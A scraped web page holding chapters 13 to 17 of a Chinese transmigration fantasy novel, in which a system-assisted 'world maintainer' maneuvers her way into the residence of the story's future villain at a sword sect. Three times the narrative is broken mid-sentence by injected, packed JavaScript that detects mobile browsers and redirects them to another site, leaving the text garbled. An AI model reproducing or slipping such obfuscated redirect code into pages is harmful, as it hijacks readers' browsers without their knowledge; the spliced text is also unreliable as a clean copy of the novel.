一本已经不能称之为‘书’的巨大砖头样物体出现在白修之面前。 祝昭昭都看傻了。 所以你们剑宗是没有合理安排教学进度这种概念存在的吗?! 此刻她真的很好奇除了剑宗,还有哪个宗门能做到讲课的书能那么厚。 那已经不是一块砖的厚度。据祝昭昭粗略目测,白修之面前那本书起码是四块砖摞起来的厚度。 到底写了什么内容那么多先不说,这是准备怎么翻啊! 祝昭昭瞳孔地震。 但这还不是最让她震惊的。 最可怕的,是白修之接下来说的话—— “时间紧迫,我们要尽快多讲,今日大约会讲到这。” 他手在书脊上大概比划了一下,拇指食指随意张开,直接量进去两块砖的厚度。 感觉脑子瞬间‘嗡’地一下,要不是还顾及着自己是新来的,祝昭昭都能当场笑出来。 她观察了一下周围其他人的反应。 他们竟然一脸习以为常! 被这个认知冲击得什么都顾不上了,祝昭昭就想知道白修之准备用多长时间把他比划的内容教完。 她看向白修之,片刻后得到答案。 半个时辰! 当年主系统培训都没这效率! 祝昭昭努力控制自己表情不要太扭曲。 看开点,就当做完成任务的必要付出。 终于决定认命的祝昭昭如是劝自己。 14. 我们讲课内容确实不多 虽然学得内容多,但上课的时间其实不算长。一天的课讲完后,秉承着‘下课后多在教室待一分钟都是浪费''的人生信条,祝昭昭弹起身就准备跑。 然后被云珈追上:“昭昭,你跑那么快做什么。” “不做什么,我就是,”视线从云珈平静中带着疑问的表情移到她快到迈出残影的脚速,祝昭昭沉默了。 她这是铁了心要和自己唠两句。 认命地慢下来,祝昭昭找了个地方坐下:“云珈师姐,你别跑了,我们坐这里。” 不然我真怕你裤子跑裂。 云珈显然对祝昭昭的懂事很满意:“这地方好,可以看到下学的大家,你看他们多急着回去啊。” 祝昭昭:…… 我谢谢你。 叹口气,祝昭昭死鱼眼看着人来人往:“所以师姐有什么想和我说的?” 被祝昭昭提醒,云珈回归正题:“昭昭,你今天早上真厉害,刑煜那样的烂人都被你治得服服帖帖。” 她朝祝昭昭竖起大拇指。 祝昭昭皮笑肉不笑:“像他那种人,被人收拾是迟早的事,只是今天碰巧遇到的是我罢了。” “话是这样说。”云珈点点头,“但是昭昭啊,身为师姐,有些事我必须提醒你一下。” “刑煜是三长老亲传弟子的远亲,他们那个家族又是出了名的护短。刑煜敢那么嚣张也正是因为这点。你这次招惹了他,之后很可能会被他针对的。” 祝昭昭眼皮都没抬。 关系户是吧,她熟。 但很遗憾,这个关系户还不够硬,想收拾她还不够看。 她很期待刑煜能搞出什么花样给她见识见识。 这边祝昭昭思绪神游,那边云珈说着,脸色更加愁云惨淡:“虽然这次白掌教替你撑腰,教训了刑煜那贱人一顿。但按照他的脾气,之后一定会想办法报复你。” “在学堂我尚且可以护着你,可你回去之后该怎么办啊。” 祝昭昭其实有点意外。 她本以为云珈会更对自己一个筑基居然能硬抗金丹不落下风的原因更好奇,拉自己来聊天也是想旁敲侧击问自己。 她甚至已经想好了搪塞过去的理由。 却没想到云珈竟然是因为担心自己被刑煜报复才来找自己。 所以她一定要聊这次天,也是以为自己害怕,想来安慰自己吗? 看着身旁满脸沮丧的云珈,祝昭昭被她触动,张口想说些什么安慰她。 下一秒就见云珈长长叹了口气。 “刑煜这个贱人实在招人烦,擂台申请太麻烦,私斗又会被掌教罚。这回好了,有你在前头当理由,揍他就是一抬手的事。” 祝昭昭:…… 可以,很合理。这个理由确实很正当。 云珈自言自语完,瞄见祝昭昭突然沧桑的表情:“昭昭你怎么了?” “没事。”祝昭昭面无表情,“我只是,对这个世界产生了新的认知。” 云珈:……? 小师妹说的东西好深奥,听不懂怎么办。 “好啦。”站起身,云珈拍拍祝昭昭肩膀:“既然昭昭你看起来还好,那我也就放心了。听说山下有间酒楼今日庆典有优惠,我得赶紧下去看看,去晚了就来不及了。” “那师姐先走了哦。” 云珈来得快去得也快,话音刚落人就已经消失在原地。一脸无语地放下准备道别的手,祝昭昭叹了口气。 距离下学已经过了两盏茶的时间,望着人已经走得差不多的院子,祝昭昭起身伸了个懒腰,慢悠悠地走了出去。 边吃着零食边路过老生班,好奇白月书待的班级是什么样的,祝昭昭顺便扭头往里面看了一眼。 不看不知道,老生班这会儿竟然刚下学。 陆陆续续有人从院子里走出来,怕被人挤到的祝昭昭见状本来想走,却突然有人叫住她。 “昭昭。” 一听声音就知道是谁叫自己,祝昭昭停下脚步回头,就看到白月书朝自己走来。 该说不说,白月书作为位面女主角,哪怕穿着统一的剑宗袍子走在人群里,也愣是和其他人区别明显,跟单独加了特效一样。 隐隐被她身上泛着的光芒刺到眼睛,祝昭昭控制住自己想翻出墨镜戴上的冲动。 无视周围或羡慕或嫉妒的视线,她清清嗓子,扬起笑脸和白月书打招呼:“月书师姐。” “嗯。” 低低应了一声算是回答,白月书走到祝昭昭身旁摸摸她脑袋:“新生班这时候早该下学,昭昭你怎么现在才回去。” “因为今天出了点特殊情况。” 祝昭昭倒也没打算瞒着白月书,于是大概和她说了一下今天发生的事。 “竟是如此。”白月书脸色微微凝重,“刑煜此人我虽不太了解,但他表兄刑子山与我同班,我倒是略知一二。” “此人性格阴戾乖僻,喜怒无常,尤好当面一套背后一套。虽然身为长老亲传,却并不得其他弟子尊敬,是个非常难缠之人。” “但我们不惹事也不怕事。” 话锋突然一转,白月书看着祝昭昭,眸光坚定:“他日刑煜若是再无理欺辱你,你尽可奋力回击。如果打不过,直需叫我便是。” 祝昭昭星星眼。 太帅了,简直是吾辈楷模。 心里对女主角的崇敬又多了两分,祝昭昭开口:“但是月书师姐,你不觉得相比起那种多得是人会收拾的草包,掌教一堂课讲那么多的内容——”她抬手比出两块砖的厚度,“这件事好像更可怕点吗?” “不会。” 白月书脸上表情相当平静:“身为内门弟子,理当样样精通。况且白掌教所讲内容清楚透彻,哪怕量大也不会妨碍人听懂,又怎么能用可怕来形容。” 所以你也觉得他讲得太多是吧?! 祝昭昭:惊讶且不太服气。 但她相信白月书能这么说,一定是因为她们的教学进度更快:“新生班教学速度尚且那么快,那月书师姐你们老生班是不是教得更快?比如一天把整本书讲完。” 白月书摇摇头:“自然不是。” 竟然不是? 祝昭昭先是一呆,紧接着想到某种更可怕的可能性。 她伸出的手指微微颤抖:“月书师姐你们老生班难道讲得比这还多?该不会你们一天讲一本,不,两本?” 白月书还是摇头。 祝昭昭松了口气:“没有就好……” “我们直接切磋。”白月书一脸平静。 祝昭昭脸上表情瞬间空白。 等等,切磋是打架的意思对吧? 这种话是能用‘讨论一会儿吃什么’的表情来说的吗? 而且为什么新生班还禁止私斗,老生班就一下子快进到可以直接在教室里切磋了? 她试图合理化这个教学方法:“我明白了,老生班的切磋一定是点到为止的,仅仅只是友好交流修炼心得对不对。” 祝昭昭刚说完,一个已经包扎得看不清人脸的人就一瘸一拐地从她面前走过。 她惊恐地看向白月书。 白月书一脸肯定地点头。 祝昭昭瞳孔地震。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280497|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所以老生班的切磋就是把人往死里揍的意思?? 这到底是上学还是打擂?! 以为祝昭昭被吓到,白月书有点慌。 她试图解释:“其实像方才那位同门的伤情是极少数情况,他是因为与对手切磋时出言不逊,才被对方痛击至此。” 哦,原来是有理由的。 祝昭昭放松下来,紧接着问:“所以他说了什么,一定是狠狠侮辱了对方才会被打成那副模样对不对。” 白月书脸上写满‘这真的很严重’:“他说对方的剑招起手式不对。” 祝昭昭:…… 行吧,对修炼较真到极致是剑宗的风格她了解。 “但不论如何。” 白月书轻轻替祝昭昭挽起她耳边的碎发:“师姐相信就算掌教们讲的知识再多,你也一定会学得很好。” “你天赋异禀,师姐从来没有怀疑过。” 指尖因白月书的话微蜷,祝昭昭抬头,在她温柔又明亮的双眼里清晰地看见自己的倒影。 祝昭昭深吸口气,扑进白月书怀里。 她声音闷闷:“嗯。谢谢月书师姐。” 祝昭昭说完,就听见周围传来震惊不已的倒抽气声。 糟,忘记这是公共场合。 从白月书怀里起身,祝昭昭无视周围快形成实质性杀伤力的目光:“师姐时间宝贵,昭昭就不浪费师姐时间,先回去了。” “嗯。”白月书站起身,“昭昭你回去之后,要将掌教教你的知识好好温习,万不可懈怠学业。” 祝昭昭乖乖点头:“知道了。” 白月书笑,跟着已经等了她有一会儿的师姐离开。 师姐临走前和祝昭昭打了个招呼。 祝昭昭很开心,哪怕瞄见师姐衣袍下摆的星点血迹,也同样很开心。 切磋时沾点对手的血很正常,要平常心看待。 祝昭昭:已初步get剑宗生存之道。 * 静心阁—— 边喝着司星装在空间袋里的灵酿,边享受着窗边吹来的凉风。感受着空气中蕴含的丰沛灵力,祝昭昭满足地喟叹出声。 不愧是宗主的洞府,配置就是不一样。 202围着她放在桌上的书蹦:“主人,你不看书吗,明天掌教考你怎么办?” “首先,书上全是基础知识,在天玄山我已经学过了。其次,” 祝昭昭斜它一眼:“202,你出来干什么。” “出来呼吸新鲜空气。”202理直气壮,“反正没人看得见我,不怕。” 懒得搭理202.祝昭昭一手托腮,抽过桌面上的书乱翻:“202,我突然想到一个问题。” “什么问题?”202在桌子上乱转。 伸出手指戳202,祝昭昭点着它滚来滚去:“我们来这的任务是接近慕行秋,现在待在掌筠的洞府舒服是舒服,但是接近五长老就变得很麻烦。” 202被滚得晕头转向:“所以主人你的意思是?” “我们要找个理由留在五长老那里。” 祝昭昭轻敲桌子:“掌筠已经说过我的去留随意,只要跟他说一下,他不会管我去谁哪里住。曾书那边我记得他也很少过问弟子的个人生活,所以只要掌筠交代他,他不会插手我过去住的事。” “那么我现在最需要关注的就只有一件事。”祝昭昭拍拍202,“怎么找一个合理的理由搬过去。” 202于是问:“主人你已经想到好主意了吗?” 祝昭昭闻言,目光落在桌上的书:“主意好不好,试试才知道。” 15. 我伤到了经脉 新生班下学比老生班早,祝昭昭打了个时间差,一下学就跑到老生班院门口蹲守。 随着老生班的下学钟声响起,祝昭昭很快看见走出院门的白月书。 她立刻高声招呼:“月书师姐。” 白月书也很快注意到这边:“昭昭?” 她朝祝昭昭走过去:“昭昭你怎么在这,是特意来找我的吗?” “月书师姐猜得真准。”祝昭昭笑嘻嘻地,“我等了师姐两盏茶哦,还带了这个。” 她从空间袋里拿出云珈早上给她的糕点:“山下福鼎楼新出的糕点,师姐快尝尝看。” “谢谢昭昭,师姐现在不饿,回去再吃。”白月书接过包装精美的纸包,“所以你今天找我有什么事?” 闻言环视一圈,祝昭昭把白月书拉到人稍微少的地方,然后从怀里掏出白掌教昨天给的那本书。 她表情一秒切换:“昨天我回去后,整晚把这本书翻来覆去地读。” 白月书面露赞许。 “可是有掌教教的内容在前,我虽然看明白了大部分内容,可其中某些晦涩难懂的地方,我却怎么都看不懂。” 白月书蹙紧眉头。 靠着脑内202实时播报的白月书表情,祝昭昭把头埋得更低,找准机会狠狠咳嗽一声:“然后在打坐修炼时,因为太过思考那些不懂的内容而岔了心神。险些伤到经脉……” 白月书顿时慌起来:“竟然伤到了经脉,快让师姐看看。” 说着就要去抓祝昭昭的手,她动作之快,吓得祝昭昭差点装不下去:“诶,师姐等等等等。” “怎么了。”白月书停下动作。 祝昭昭赶紧解释:“好在昨天师父发现及时,帮我调理好了。” “如此。”白月书放下心来,“但不论如何,打坐修炼时就不该分神再思索其他,这是最基础的原则。” 她语气隐有责怪:“如果不是宗主及时赶到,昭昭你该陷入多危险的境地。” 这句话来得好。 暗暗在心底比了个胜利手势,祝昭昭表情很委屈:“可是我初入仙门,掌教们只在课堂指导,回去后师父又不在。修炼时无人教导提醒我,我又想早日进步跟上班里的大家……” 有些话就适合说一半,祝昭昭故意没再继续刚才的话题。 她小心翼翼地看着白月书:“师姐,我做错了吗?” 祝昭昭努力让自己看起来真的很像一个努力修炼却不得法门,惨得不行的新人小师妹。 眼中闪过一丝心疼与不忍,白月书果然软下态度:“对不起昭昭,是师姐枉顾你的修炼环境,说话随意了。” “师姐和你道歉。” “不用,师姐不用和我道歉。”祝昭昭心里已经乐开花了,“毕竟昨晚我修炼出岔是事实。而且师父说他日理万机,平日很难顾得上我,但如果我有事,他也会立刻赶到。” 祝昭昭垂眸:“所以没关系的,我……” 白月书哪见得了这场面:“修炼出错一事轻则伤及心神,重则经脉逆转走火入魔。且一旦出事,速度极快,哪怕是宗主这等大能也容易有来不及的时候,怎么会没关系!” 她一把握住祝昭昭的手:“昭昭,不然你今后便去我们那住吧。我师父胸襟宽广,很少过问弟子私事,只要我与他说,他必定会答应。” “到时候有我看着你,你就可以安心修炼。你若是学业上有什么不懂的问题,也可以来问我。” “你觉得这样如何?” 如何? 最想要的结果甚至都不用自己提,还用问如何? 当然是爽爆了好吗? 祝昭昭简直快压抑不住嘴角的笑意。 但表面功夫还是要做做:“可是这样,我会不会妨碍到师姐修炼?” “如果妨碍到师姐修炼,我会过意不去的。” “当然不会。”白月书想也不想,“但除了我这边,宗主那边更需要考虑才对。昭昭你不若回去问问宗主同不同意?” 祝昭昭早就把这个回答在心里排练了好几遍:“师父会答应的。他之前就和我说过,只要我找到想去的地方,并不是必须待在静心阁。” “他只会在必要的时候出现。” 白月书于是答:“既然如此,那昭昭你这两天收拾好就过来吧,我们那有布置妥当的空房间。” 竟然现在就开始安排了。 祝昭昭高兴之余其实挺震撼。 原来掌筠不管事已经是全剑宗的统一认知,女主角竟然完全不怀疑自己这话的真假。 虽然自己说的也确实是真的就是了。 祝昭昭:猫猫头擦汗·jpg * 作为剑宗亲传弟子中的翘楚,白月书行事向来雷厉风行。前脚刚答应让祝昭昭搬去五长老那,后脚她就传了纸鹤到静心阁。 “昭昭,你收拾好行李了吗?” 而彼时的祝昭昭,甚至刚刚打开装行李的袋子。 看着在窗外扑棱的纸鹤,祝昭昭痛并快乐着:“等等月书师姐,我马上就好。” 说完大概环视了房间一圈,祝昭昭捡起几样必须要带的东西放进袋子。确认没有遗漏后关门关窗走出房间。 她点点纸鹤翅膀:“月书师姐,我准备好了。现在就下去。” * 剑宗各个长老所管辖的山头都离得很远,尤其是掌筠的山头,更是可以说处在剑宗的边缘角落。除了灵气丰沛利于修炼这点,其他一无是处。 正是因为这点,掌筠平时不怎么回自己山头,没事就在外面乱逛,也因此这点影响对他来说微乎其微。 但这可苦了祝昭昭。 狂野的风吹着白月书的头发鞭子一样打在祝昭昭脸上,她被打得甚至睁不开眼:“月书师姐,我们还要多久才到?” 背着手,高人站像十足的白月书猛一个侧头:“你说什么?” 被头发完成蓄力鞭打的祝昭昭:…… 也许人生,就是要经历各种稀奇古怪的历练。 她懂。 深呼吸,祝昭昭选择凑到白月书耳边大声问:“月书师姐,我是问,我们还有多久五长老的山头?” 白月书恍然大悟:“你觉得太慢了是吗?” 等等,我不是这个意思。 不祥的预感涌上心头,祝昭昭慌得两手并用:“不是的师姐,我的意思是——” 剩下的话没来得及说出去。因为下一秒,白月书的本命剑速度直接在当前基础增加了至少两倍。 两个人瞬间像离弦的箭一样原地消失。 地面的剑宗弟子:啊,刚才好像有流星飞过去了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280498|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>* 从剑上走下来的时候,祝昭昭用了生平最大的控制力才没有当场吐一地。 反观另一边的白月书正收起本命剑,一脸尽兴地在甩头发。 她回头,终于注意到祝昭昭:“昭昭你怎么了,看起来脸色好差。” 对上白月书满含关切的双眼,怕她内疚的祝昭昭选择使用说话的艺术:“没事,月书师姐,我只是……” “我知道了。” 白月书一脸‘我懂了’的表情:“昭昭你是在赶路途中有所感悟,正回味流连方才路途上的景色对不对。” 祝昭昭差点听笑了。 还流连景色,还感悟道法。 就刚才那种速度,什么景色可以看进眼里半秒钟。能看清边上飞过的鸟都得高低被戒指里的神秘老爷爷夸句‘此子必然不凡’。 她两手一抬,狠狠抹了把脸。 然后选择转移话题:“月书师姐,所以我们现在已经到了五长老的山头对不对。” “没错。” 白月书本来也没打算一直纠结什么感悟不感悟的:“这里就是我师父的山头,我们的住所就在不远的地方。” “我们现在就过去。” * 要说有人住的地方还是要比没人住好。祝昭昭跟着白月书一路进到院子,见到路上的绿植都打理得很好。更别说院子里,那布置更是一看就出自有审美的人。 跟掌筠那主打一个看得过去就行的院子比起来,可以说是一个天上一个地下。 正试图偷摘灵果的掌筠:谁在念我? 再次路过一丛开得无比茂盛的月清花,祝昭昭实在按捺不住好奇心:“月书师姐,这些花草长得好茂盛漂亮,它们都是你和秦师兄在打理吗?” 不怪她用疑问句。毕竟已知秦之衡是绝对的修炼狂人,修炼以外的事务他基本不放在眼里。白月书心思倒是不全放在修炼上,但也不是会细心打理花草树木的人。 更别提五长老曾书,那完全是想都不用想。 所以祝昭昭真的很好奇这院子里的花木到底是谁在打理。 总不能是田螺姑娘吧? 祝昭昭这边正头脑风暴,那边白月书闻言,跟随她的目光朝那些月清花看过去。 然后脸上多了些笑意:“你说这些花啊。” 她抬手,手指轻轻抚上月清花花瓣:“整个院子的景观布置,树植打理,包括这些月清花,都是我们大师兄一手负责的。” 哦,大师兄啊。 等等。 大师兄? 祝昭昭先是一怔。 紧接着,她开始在脑子里飞快过滤这个小世界的主要人物。 最后锁定在白月书说的人。 呆滞的双眼一点点睁大,祝昭昭慢动作扭头看向边上的白月书。 她平静地,一字一句:“你说照顾这些花的人,是你大师兄?” 总感觉眼前的祝昭昭怪怪的又不知道哪里怪怪的,白月书略微不解:“没错。怎么了昭昭,有什么问题吗?” 看着清新雅致的院子,祝昭昭感觉整个世界好像都陷入了一种极度的不真实里。 确实有问题,而且问题非常大。 因为你的大师兄,是最后灭了大半个修真界的头号大反派—— 慕行秋啊! 16. 什么究极男管家 祝昭昭作为一个目睹了大反派上周目如何眼都不眨地干翻大半个修真界,最后还被他亲手干掉的人,这周目竟然被女主角告知大反派会亲自打理院子,而且打理得非常漂亮。 这和告诉她见到了林*玉倒拔垂杨柳有什么区别? 真的不能怪她反应大好吗。 祝昭昭:擦汗猫猫头·jpg 但身为经验丰富的位面维护员,祝昭昭什么大风大浪没见过? 低头抬头间,她一键切换‘初入仙门小菜鸟’形象:“没有问题……只是因为我还和爹娘在一起的时候,他们告诉我仙师们身边都有小仙童服侍,什么粗活都是小仙童做的。” “所以一下子听到月书师姐你说慕师兄会打理院子,我才会很惊讶。”争取让小菜鸟形象更逼真,祝昭昭‘小心翼翼’看向白月书。 白月书果然露出‘原来如此’的表情。 轻轻抚摸祝昭昭的脑袋,她微笑:“世人总是对修士抱着诸多奇妙想象,这很正常。昭昭你父母没错,你也没错,不用为此苛责自己。” “毕竟我们大师兄,确实是非常优秀的修士。”白月书话锋一转,“实际上不止打理院子,整座雾鸣山的大小事务都是师兄在管。” 她眼里写满毫不掩饰的尊敬与佩服:“上到监督修炼,下到财物支出。除了一些必须师父亲自处理的事务,剩下的所有事情,全部是师兄在处理。” 男、男管家? 哪怕刚才已经被刷新了一波认知,但听到这,祝昭昭还是忍不住侧目。 侧目之后,是意外。 毕竟上周目慕行秋留给她的印象虽深,但大多数都是修真界广为流传的负面评价。且当两人真正接触的时候,剧情也已经发展到无可挽回的地步—— 那一刻的慕行秋,早就和修真界的那些恶评相差无几。 还有洞穿胸口的那一剑。 哪怕已经尽量避免想起,但脑海中每每浮现起那时慕行秋明明微笑着,眼底却没有一丝波澜的双眼,祝昭昭还是会感觉胸口发闷。 综上所述,祝昭昭对慕行秋的印象一直在地底待得很稳定。 直到今天听到白月书嘴里的他。 这是祝昭昭第一次从别的角度了解慕行秋。 她正神游着,那边白月书大夸特夸完,还有点意犹未尽:“总之大师兄是真的是个非常好的人。昭昭你今后在这住,总会遇见他,到时候我再与你好好介绍他一番。” 总会遇见是什么意思? 祝昭昭提出疑问:“慕师兄他不住在这里吗?” “他当然也住在这里。”白月书示意祝昭昭继续跟着自己走,“但他住的地方离我们比较远,加上修炼忙,所以我们很少见到他。” “这样。”祝昭昭点头,“可是不管再远,只要不是在闭关,他一天之中总会有走动的时候,到那时候月书师姐你再和我介绍慕师兄不就可以了。” “还是说他如今正在闭关?” “不是。” “那他出去历练了,不在?” “也不是。” “那……” 罕见地,白月书脸上露出有些复杂的神情:“总之如果见到大师兄,我会好好与你介绍他。至于现在,还是先让我带你到你的房间吧。” 看着欲言又止的白月书,祝昭昭想说的话最后还是咽回肚里。 * 院子说小不小,但在白月书沉默赶路的速度下,两人也很快就到了目的地。 “就是这里。”看着眼前的房子,白月书总算恢复了点活力。 她手指一间间点过去:“这间是之衡的,这间是我的。剩下的三间房都是空的,昭昭你可以随便选一间。” 祝昭昭见状也来了精神。 两间有人的房子分别是第一和第三间,这间隔总给人一种避嫌的感觉。不过祝昭昭对最后总要在一起的男女主如今避嫌与否并不感兴趣,身上小秘密属实有点多的她现在更在意隐私问题。 所以她毫不犹豫指了最后一间房:“我想住那里。” 白月书对祝昭昭的选择稍微意外:“那间房是不是有些太偏了?” 要的就是往死里偏。 祝昭昭继续发挥装小菜鸟精神:“没关系,偏一些安静,我好专心修炼。” 白月书面露赞许,但还是忍不住劝:“可那间房边上就是悬崖,昭昭你确定要住在那吗?” 祝昭昭态度坚决:“月书师姐放心,我会注意的。” 欣慰地抚摸祝昭昭的脑袋,白月书没有再劝。 * 选定好房间,白月书送了祝昭昭一本剑谱当做入宅礼。祝昭昭见状瞪大眼,怀着‘不愧是剑宗天才,送礼都挑学习教材送’的敬重心情双手捧着收下。 低头一看剑谱名字,祝昭昭得知白月书送给自己的,竟然是五长老专门给亲传弟子的秘技剑谱,捧着册子的双手立刻抖得像筛糠。 不是,刚来就给这么珍贵的学习教材合适吗?? 她不会被五长老灭口吧?? 祝昭昭表面笑着谢谢白月书赠书,实则内心已经慌得一批。 相比祝昭昭,送书的白月书看起来倒是神色自如得多,已经开始帮祝昭昭摆放拿过来的行李。 很快整理好房间,白月书马不停蹄地开始让祝昭昭拿出白掌教给的那本书来,她好亲自为祝昭昭答疑解惑。 祝昭昭震撼到侧目:“月书师姐,你今天上了一天课又飞来飞去搬东西,不累吗?” 白月书点头:“累。累得现在就想休息。” 祝昭昭更震撼了。 她斟酌用词:“既然累了,那我们现在最该做的,不是回去休息吗?” “修炼之人,最忌好逸恶劳。”白月书表情相当坚定,“若一味贪图享乐,怎能触及那玄妙大道。不触及玄妙大道,我们又为何要踏上修行一途?” 白月书说着说着开始来劲,眼看着开始有拉住祝昭昭彻夜长谈人生理想的意思。见势不妙,祝昭昭赶忙转移话题:“月书师姐,我觉得你说得很有道理。作为修行之人,努力修炼确实是我们最该做的。” “所以其他的话不需再说。”她从空间袋取出那本册子,“我们现在就开始学习!” * 哪怕白月书的讲解的确非常独到,但对着早就已经熟记于心的书册内容,折腾了快一天的祝昭昭还是听得眼皮直打架。 “……所以这一段的意思,是让我们在打坐的时候聚气于丹田,同时凝聚的神思要在命门集中。两两相叠,才能达到天人合一的状态。理解了这个,也就彻底理解了整本书册的内容。” 白月书指着书册的最后一页:“听明白了吗?” 已经开始神游天外的祝昭昭:“听明白了。” 白月书不愧是谈到修炼就要求严格的剑宗天才:“那你演示一遍我看看。” 祝昭昭来了精神。 打坐不就是变相休息? 她爽快照做。 然后再睁眼时,窗外的月光撒了满室。 白月书不知什么时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280499|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经离开,只在桌上留了一张纸条。祝昭昭下床去拿,发现上面是白月书夸自己入定状态完美的话。 她还在桌上留了一颗辟谷丹。 拿起辟谷丹扔进嘴里,祝昭昭‘唔’了一声:“水果味的。” 边感叹原来女主角也喜欢味道活泼的吃食,神清气爽的祝昭昭倚在门边吹了会儿风。 虽然略逊掌筠的盛云峰,但雾鸣山的风景同样怡人。任由夜风吹起鬓角碎发,祝昭昭抬手轻点围绕在身周飞舞的萤火虫。 像是突然注意到什么,她目光落在左手边的悬崖。 202出现在空中,蹦跳着去追萤火虫:“悬崖有什么好看的,主人你盯它干嘛?” “悬崖确实没什么好看的。”双手环胸,祝昭昭头斜倚在门框上,“但悬崖那边好像有很有意思的东西。” “什么东西?” 202围着萤火虫玩得不亦乐乎:“而且主人啊,虽然在曾书这里,你的确能盯着主角们和反派不假。但相对的,你不是也暴露在他们的眼皮底下了吗?” “主角们心地善良,和你现在这个角色也没矛盾,所以被他们发现了也没关系。但是大反派可不一样。” 它控制萤火虫绕着自己跳舞:“虽然具体原因不清楚,但你那个预言间接导致他后期乱杀是既定事实。要是被他发现你的真实身份,我们就可以直接宣布任务失败了。” 202都知道的道理,祝昭昭又怎么不知道。 目光长久地落在悬崖对面,祝昭昭语气淡淡:“首先,202,被慕行秋发现的后果会如何,我要比你清楚。” “其次。”祝昭昭望着悬崖对面月清花丛里,隐隐透出来的石碑,“202,你要知道风险与机遇永远并存,如果我因为害怕被他发现身份就躲在掌筠那里,那么完成任务的难度只会更大。” 话落她起身,朝悬崖方向走:“慕行秋这人生性多疑,不熟的人贸然接近他,不可能从他身上得到任何有价值的信息,更遑论影响他从而改变剧情。” “所以来曾书这里,是我必须要做的事。” 202听到这也明白了:“可是根据系统提供的资料来看,慕行秋的修为已经到元婴后期了。” “按照女主角刚才的说法,他差不多等于雾鸣山二把手。”202看着光幕上的资料,“不仅如此,他还是剑宗几位首席弟子之一,经常要带队下秘境和历练——” “这么厉害又忙的大忙人,主人你待在雾鸣山就一定能见到吗?” “总比待在盛云峰几率大。” 祝昭昭边说,边走到悬崖边上停下。 看着她已经踩出悬崖一点的脚尖,202的显示屏生动地演示了什么叫‘面色大变’:“主人,你干嘛?” 背着手跳了两步退回悬崖边,祝昭昭从空间袋往外掏:“你可以理解为我太专注,忘了现在站在悬崖边。” 202:…… 拥有一个不按常理出牌的主人,是一种什么样的体验。 202:心好累。 祝昭昭才懒得管202在想什么。 把从空间袋里掏出的东西紧紧抓在手里,她小声嘀咕:“让我看看,对面到底有什么东西。” 紧接着,她深呼吸,原本随意散漫的目光瞬间无比专注地落在悬崖对面的某处。 202被她这操作弄得有点摸不着头脑:“主人你到底在干什……” 剩下的话没说完。 因为下一秒,祝昭昭掌心猛地爆发出一阵极其强烈的光芒。 17. 好羡慕你能和月书师姐同乘一柄剑 光芒之刺眼,饶是202都忍不住避开。 祝昭昭的情况则更糟。 她闷哼一声,整个人控制不住地连连后退数步。 202见状吓坏了:“主人,你没事吧?!” 反应过来的它又气又急:“你想看什么可以告诉我让我帮你看啊,这样真的很危险,要是伤到了怎么办?” 看着202显示屏上气鼓鼓的表情,祝昭昭愣了一下。 毕竟搭档这么些年,202最擅长的就是把她气得半死还要和她顶嘴。给过她最像样的关心,则是在她位面维护员排名升到第五的时候,送了她一张一部门的单日休假券。 送的时候表情之得意,完全忘记了她是三部门的骨干。 没想到就这样一个让她恨不得直接拉去回炉的二皮脸系统,在自己危急时刻竟然如此真心实意地关心自己。 祝昭昭说不感动是假的。 她软下神情,本想安慰202自己没事。 然而嘴巴还没张,她就听到202小声嘟囔:“现在就完蛋了的话,后面的任务还怎么做啊。我还和628约好了回去以后要添加新的小插件呢,没有积分怎么换。” 祝昭昭:…… 死鱼眼看着还在边上唧唧歪歪的202,祝昭昭在脑海里调出惩罚系统。 选择电击,等级调到最大,她面无表情地按下执行按钮。 成功让202嗷一声蹦起来。 “干嘛突然电我。”被祝昭昭电得到处打滚的202感觉自己很委屈,“我明明在关心你诶!” 单手托腮,祝昭昭蹲在地上看着它滚:“你不是要添加新插件吗,我在帮你腾安装位置。这是我对你的关心的回敬,你要谢谢我才对。” 被噎得半死的202:…… 主人太记仇怎么办,在线等,急。 滚了半天终于缓过来,202看着不知什么时候已经走到树底下靠着发呆的祝昭昭:“所以刚才悬崖对面的究竟是什么东西?真的很危险。” “要不是主人你手里的法器替你挡了一下,你重伤的可能性是百分之九十。” 202语气有些严肃:“主人你到底看到什么了?” “看到什么了?” ‘唔’了一声,祝昭昭望着对面随风轻摇的月清花丛:“不知道。” 202愣了一下:“不知道是什么意思?” “不知道的意思就是,”祝昭昭深吸口气站起身,“也许是我看错了。” 看着祝昭昭从自己眼前走过,202顿时急了:“你到底看错了什么啊,不要对我打马虎眼好不好。” 祝昭昭却不再理会它的连环问。 将法器收回空间袋,她哼着不成调的小曲走回房间。 “睡觉咯。” * 第二天一大早,祝昭昭还是被白月书叫醒的。 